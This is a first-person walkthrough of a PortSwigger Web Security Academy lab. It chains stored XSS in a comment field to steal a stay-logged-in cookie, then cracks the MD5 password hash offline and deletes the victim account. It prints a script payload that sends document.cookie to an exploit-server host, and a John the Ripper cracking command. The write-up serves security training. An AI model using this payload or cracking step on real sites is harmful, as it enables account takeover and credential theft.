| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Authentication — Offline Password Cracking via XSS-Stolen Cookie |
| Difficulty | Practitioner |
| Objective | Obtain Carlos's stay-logged-in cookie, crack his password, log in as Carlos, then delete his account |
| Note | Own credentials wiener:peter, victim username carlos |
Offline Password Cracking¶
I logged in as wiener:peter with "Stay logged in" checked, then went looking for an XSS vector.
The comment section was the obvious candidate. I tried script tags in both the comment and name fields:
The name field got HTML-encoded; the comment field didn't. XSS lands in the comment field specifically. Checking the source confirmed it — the name output was escaped while the comment was rendered raw.
Intercepting /my-account next to inspect the cookie:
GET /my-account?id=wiener HTTP/2
Host: 0ac0005803f186108079171d00260011.web-security-academy.net
Cookie: session=zUe5OOcVaXWR2xm8v2G27QGjqWheY3Jf; stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
Same construction as the previous lab — Burp decoded it to wiener:51dc30ddc473d43a6011e9ebba6ca770, and md5sum confirmed the second part is MD5(peter). The format is base64(username:md5(password)).
The natural first move was to try the same online brute-force approach: validate the Hash MD5 → Add prefix carlos: → Base64-encode chain against our own password, then run it against Carlos with the candidate wordlist.
Only 302s across the board — no hit. Carlos's password isn't in the provided wordlist. The online approach fails the moment the password isn't there, which is exactly why having an out-of-band exfiltration path matters: with the actual hash in hand, you can crack it offline against a much larger wordlist like rockyou, with no rate limiting or lockout in play.
Before going that route, I confirmed the stay-logged-in cookie was stealable. The browser's storage panel showed HttpOnly set to false — readable from JavaScript.
That's what connects the XSS bug to the credential material — HttpOnly not being set on a cookie storing password-derived data turns a separate, unrelated XSS into full account takeover. I posted a comment with a payload that base64-encodes document.cookie and sends it to the exploit server:
<script>
fetch("https://exploit-0a45005803c48605803916ca01c1000d.exploit-server.net/exploit/teto=" + btoa(document.cookie));
</script>
Checking the exploit server log:
A hit came in. Decoding the captured value gave both the session cookie and the stay-logged-in cookie.
Base64-decoding the stay-logged-in value gave carlos:<md5 hash>.
I cracked it offline with John the Ripper against rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 carlos
That recovered the plaintext password. Logging in as carlos:
Clicked delete account:
Confirmed with the password and deleted.
Lab solved :P